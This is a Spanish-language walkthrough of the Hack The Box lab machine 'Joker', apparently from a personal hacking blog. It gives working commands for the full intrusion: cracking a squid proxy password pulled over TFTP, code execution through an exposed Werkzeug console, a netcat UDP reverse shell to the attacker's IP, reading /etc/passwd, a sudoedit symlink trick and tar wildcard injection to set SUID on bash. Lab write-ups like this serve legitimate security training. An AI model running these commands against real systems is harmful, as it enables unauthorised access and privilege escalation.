lund@home:~$

Autor: Lund K. S.

HTB_Joker HTB_Joker | Hacker-Blog

HTB_Joker

Joker {-}

Introduccion {-}

La maquina del dia 26/07/2021 se llama Joker.

El replay del live se puede ver en Twitch: S4vitaar Joker maquina

Enumeracion {-}

Reconocimiento de maquina, puertos abiertos y servicios {-}

Ping {-}

ping -c 1 10.10.10.21

ttl: 63 -> maquina linux

Nmap {-}

nmap -p- --open -T5 -v -n 10.10.10.21 

Va lento

nmap -sS -p- --open --min-rate 5000 -vvv -n -Pn 10.10.10.21 -oG allPorts 
extractPorts allPorts
nmap -sC -sV -p22,3128 10.10.10.21 -oN targeted
Puerto Servicio Que se nos occure? Que falta?
22 ssh Accesso directo usuario y contraseña
3128 squid-proxy Browsear la web por este puerto Checkear el exploit

Browsear la web por el puerto 3128{-}

Browseando la web con el url http://10.10.10.21:3128 no da un error que es normal porque no pasamos por el squid-proxy.

Utilizamos el FoxyProxy para añadir las credenciales del Proxy. Como no tenemos el usuario y la contraseña, dejamos estos datos vacios.

squid-foxy-o-creds

Uso de curl con proxy {-}

La idea aqui es utilizar la herramienta curl con en argumento --proxy para ver si el puerto 80 esta abierto.

curl -s http://127.0.0.1 --proxy http://10.10.10.21:3128 | html2text

Hay un error de typo ACCESS DENIED, quiere decir que necesitamos un usuario y una contraseña.

Como nada esta abierto intentamos scanear la maquina por UDP

NMAP UPD Scan {-}

Como los scan de NMAP en UDP tarda un buen rato, decidimos ir a por los puertos mas interesantes.

nmap -sU -p69,161 10.10.10.21 -oN udpScan

encontramos el puerto del tftp que esta abierto

TFTP {-}

tftp 10.10.10.21

Nos podemos conectar pero no podemos cojer ficheros como /etc/passwd, /etc/hosts y otros. Tiramos por el fichero de config de squid.

get /etc/squid/squid.conf

Check squid.conf file {-}

cat squid.conf | grep -v "^#" | sed '/^\s*$/d'

Vemos que hay un fichero password. Lo descargamos desde el tftp

get /etc/squid/passwords

Lo analizamos y encontramos un usuario y una contraseña encriptada.

Evaluacion de vulnerabilidades {-}

John {-}

john --wordlist=/usr/share/wordlists/rockyou.txt passwords

Ya hemos crackeado la contraseña. Intentamos conectar por ssh pero no funciona.

Pues ponemos las credenciales en el foxyproxy.

Conectamos por la web a la 127.0.0.1 {-}

Hay una pagina que propone shortear una url. Vamos a testear el servicio web

  1. Nos creamos un servidor web con python

     python -m http.server 80
    
  2. En el servicio intentamos shortear la url http://10.10.14.20/test

No hace nada. Vemos en el codigo fuente que hay un recurso /list. La idea aqui es aplicar fuzzing. Como tenemos que pasar por un proxy, vamos a utilizar Burp para conectar el fuzzer con el proxy.

  1. Creamos un Proxy Server.

    • En la pagina User options de Burp, creamos un proxy server

      ```{r, echo = FALSE, fig.cap=”BurpSuite: create proxy server”, out.width=”90%”} knitr::include_graphics(“images/burp-create-proxy-server.png”)

bur-create-roxy-server {r, echo = FALSE, fig.cap="BurpSuite: create proxy server 1", out.width="90%"} knitr::include_graphics("images/burp-add-port-80-1.png")

bur-add-ort-80-1

  1. Testeamos con curl

bur-add-ort-80-2 Ya no nos pone el mensaje de error Conexion reusada, quiere decir que el server proxy que hemos creado con BurpSuite funciona. Ya podemos aplicar fuzzing.

WFUZZ {-}

wfuzz -c -t 200 --hc=404 -w /usr/share/wordlists/dirbuster/directory-list-2-3-medium.txt http://127.0.0.1/FUZZ

Encontramos el recurse /console

Consola Interactiva {-}

Estamos en frente de una consola interactiva donde se puede ejecutar code en python

import os

os.system('whoami')
#Output
0

En este caso la respuesta al lado del servidor es 0. Suponemos que la respuesta es el codigo de estado. Utilizamos la funccion os.popen(<command>).read() para ver el output normal.

os.popen('whoami').read()
#Output
'Werkzeug'

El comando funcionna. Ahora intentamos pingear nuestra maquina de atacante.

  1. en la maquina de atacante

     tcpdump -i tun0 icmp -n
    
  2. En la consola interactiva python

     os.system('ping -c 1 10.10.14.20')
    

Recibimos la trasa ICMP.

Intentamos recuperar ficheros de la maquina victima antes de entablar una reverse shell. Como el comando os.popen('cat /etc/passwd').read() nos retorna el resultado en una linea y que no es muy legible, S4vi nos recomienda encriptar la respuesta en base 64 para despues decodificarlo en la maquina de atacante con el comando echo "<cadena codificada en base64>" | base64 -d; echo

os.popen('base64 -w 0 /etc/passwd').read()
os.popen('base64 -w 0 /etc/iptables/rules.v4').read()

El iptables nos muestra con la linea -A OUTPUT -o ens33 -p tcp -m state --state NEW -j DROP que la maquina victima nos va a rechazar todas las comunicaciones por TCP. Es por esta razon que no hemos creado directamente una reverse shell. ## Explotacion de vulnerabilidad & Ganando acceso {-}

Reverse shell por UDP {-}

  1. En la maquina de atacante con el parametro -u

     nc -u -nlvp 443
    

1.en la consola interactiva

```python
os.system("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc -u 10.10.14.20 443 >/tmp/f")
```

Y ya esta…

Tratamiento de la TTY {-}

script /dev/null -c bash
^Z
stty raw -echo; fg
-> reset
export SHELL=bash

stty -a

stty rows <rownb> columns <colnb>

Investigamos la maquina {-}

whoami

#Output
werkzeug

cd /home/alekos
cat user.txt

No podemos leer la flag. Quiere decir que vamos a tener que convertirnos en el usuario alekos.

id
sudo -l

El comando sudo -l nos dice que podemos ejecutar sudoedit /var/www/*/*/layout.html como el usuario alekos. ## Escalada de privilegios {-}

Escalada de privilegios al usuario alekos {-}

ls -l /var/www

No tenemos capacidad de escritura en el directorio /var/www pero hay un directorio testing donde el usuario proprietario es werkzeug.

cd /var/www/testing
ls -l
mkdir hannamod
cd !$
echo "Hola" > layout.html

Testeamos el comando sudoedit

sudoedit -u alekos /var/www/testing/hannamod/layout.html

El comando no abre un nano en el cual podemos editar el contenido. El truco aqui es burlar el fichero para que el usuario pueda editar un ficher tercio en el cual tenga capacidad de escritura

  1. Creamos un enlace symbolico contra el authorized_keys del usuario alekos

     ln -s -f /home/alekos/.ssh/authorized_keys layout.html
    
  2. Nos creamos un par de claves

     ssh-keygen
    
  3. Lanzamos el sudoedit y copiamos la clave publica creada
  4. Nos conectamos al usuario alekos por ssh

     ssh -i id-rsa alekos@10.10.10.21
    

Pa dentro… somos alekos y podemos leer la flag.

Escalada de privilegios al usuario root {-}

id
sudo -l
ls -l

vemos que hay dos directorios

  • backup
  • development
cd backup
stat *
stat * | grep "Modify"

En el directorio backup vemos que cada 5 minutos una tarea que se esta ejecutando a intervalos regulares de tiempo nos crea un archivo de backup. Ahora tenemos que saber lo que se esta poniendo en estos backups.

  1. En la maquina de atacante

     nc -u -nlvp 443 > dev-1627332901.tar.gz
    
  2. En la maquina victima

     nc -u 10.10.14.20 443 < dev-1627332901.tar.gz
    

mirando el contenido de fichero comprimido, nos damos cuenta que el contenido es el mismo que el directorio development.

Saviendo esto estamos intuiendo que la tarea cron ejecuta un comando del estilo: tar -cvf backup/test.tar.gz /home/alekos/development/*. Aqui el problema es que si el comando es este, el simbolo * permitteria burlar el comando tar con breakpoints. Lo que queremos ejecutar seria el comando siguiente:

tar -cvf backup/test.tar.gz /home/alekos/development/* --checkpoint=1 --checkpoint-action=exec/bin/sh

El echo es que si el comando de la tarea cron tiene el asterisco y que ficheros tienen nombres como --checkpoint=1 y --checkpoint-action=exec/bin/sh, en vez de copiarlos, los utilizaria como argumentos del proprio comando tar.

touch privesc
chmod +x privesc

nano privesc

############privesc content##############3

#!/bin/bash

chmod 4755 /bin/bash
touch -- '--checkpoint=1'
touch -- '--checkpoint-action=exec=sh privesc'

Ya esta esperamos hasta el proximo run de la tarea cron.

watch -n 1 ls -l /bin/bash -d

Cuando vemos que la /bin/bash tiene el s de SUID podemos convertirnos en root

bash -p